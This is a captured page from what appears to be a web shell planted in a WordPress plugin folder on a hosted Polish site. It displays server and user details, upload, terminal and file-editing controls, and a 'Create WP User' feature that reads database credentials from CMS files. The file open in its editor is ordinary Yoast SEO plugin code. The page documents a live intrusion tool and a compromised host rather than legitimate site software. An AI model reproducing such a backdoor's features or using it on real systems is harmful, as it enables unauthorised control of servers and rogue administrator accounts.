Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
dcustoms.pl
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
dashboard
/
infrastructure
/
taxonomies
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
.htaccess
214.00 B
-r--r--r--
2026-04-22 05:00
taxonomies-collector.php
3.22 KB
-rw-r--r--
2026-04-19 13:41
taxonomy-validator.php
816.00 B
-rw-r--r--
2026-04-19 13:41
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
taxonomies-collector.php
<?php // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong namespace Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies; use WP_Taxonomy; use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy; /** * Class that collects taxonomies and relevant information. */ class Taxonomies_Collector { /** * The taxonomy validator. * * @var Taxonomy_Validator */ private $taxonomy_validator; /** * The constructor. * * @param Taxonomy_Validator $taxonomy_validator The taxonomy validator. */ public function __construct( Taxonomy_Validator $taxonomy_validator ) { $this->taxonomy_validator = $taxonomy_validator; } /** * Returns a custom pair of taxonomy/content type, that's been given by users via hooks. * * @param string $content_type The content type we're hooking for. * * @return Taxonomy|null The hooked filtering taxonomy. */ public function get_custom_filtering_taxonomy( string $content_type ) { /** * Filter: 'wpseo_{$content_type}_filtering_taxonomy' - Allows overriding which taxonomy filters the content type. * * @internal * * @param string $filtering_taxonomy The taxonomy that filters the content type. */ $filtering_taxonomy = \apply_filters( "wpseo_{$content_type}_filtering_taxonomy", '' ); if ( $filtering_taxonomy !== '' ) { $taxonomy = $this->get_taxonomy( $filtering_taxonomy, $content_type ); if ( $taxonomy ) { return $taxonomy; } \_doing_it_wrong( 'Filter: \'wpseo_{$content_type}_filtering_taxonomy\'', 'The `wpseo_{$content_type}_filtering_taxonomy` filter should return a public taxonomy, available in REST API, that is associated with that content type.', 'YoastSEO v24.1' ); } return null; } /** * Returns the fallback, WP-native category taxonomy, if it's associated with the specific content type. * * @param string $content_type The content type. * * @return Taxonomy|null The taxonomy object for the category taxonomy. */ public function get_fallback_taxonomy( string $content_type ): ?Taxonomy { return $this->get_taxonomy( 'category', $content_type ); } /** * Returns the taxonomy object that filters a specific content type. * * @param string $taxonomy_name The name of the taxonomy we're going to build the object for. * @param string $content_type The content type that the taxonomy object is filtering. * * @return Taxonomy|null The taxonomy object. */ public function get_taxonomy( string $taxonomy_name, string $content_type ): ?Taxonomy { $taxonomy = \get_taxonomy( $taxonomy_name ); if ( $this->taxonomy_validator->is_valid_taxonomy( $taxonomy, $content_type ) ) { return new Taxonomy( $taxonomy->name, $taxonomy->label, $this->get_taxonomy_rest_url( $taxonomy ) ); } return null; } /** * Builds the REST API URL for the taxonomy. * * @param WP_Taxonomy $taxonomy The taxonomy we want to build the REST API URL for. * * @return string The REST API URL for the taxonomy. */ protected function get_taxonomy_rest_url( WP_Taxonomy $taxonomy ): string { $rest_base = ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $rest_namespace = ( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2'; return \rest_url( "{$rest_namespace}/{$rest_base}" ); } }
关闭
保存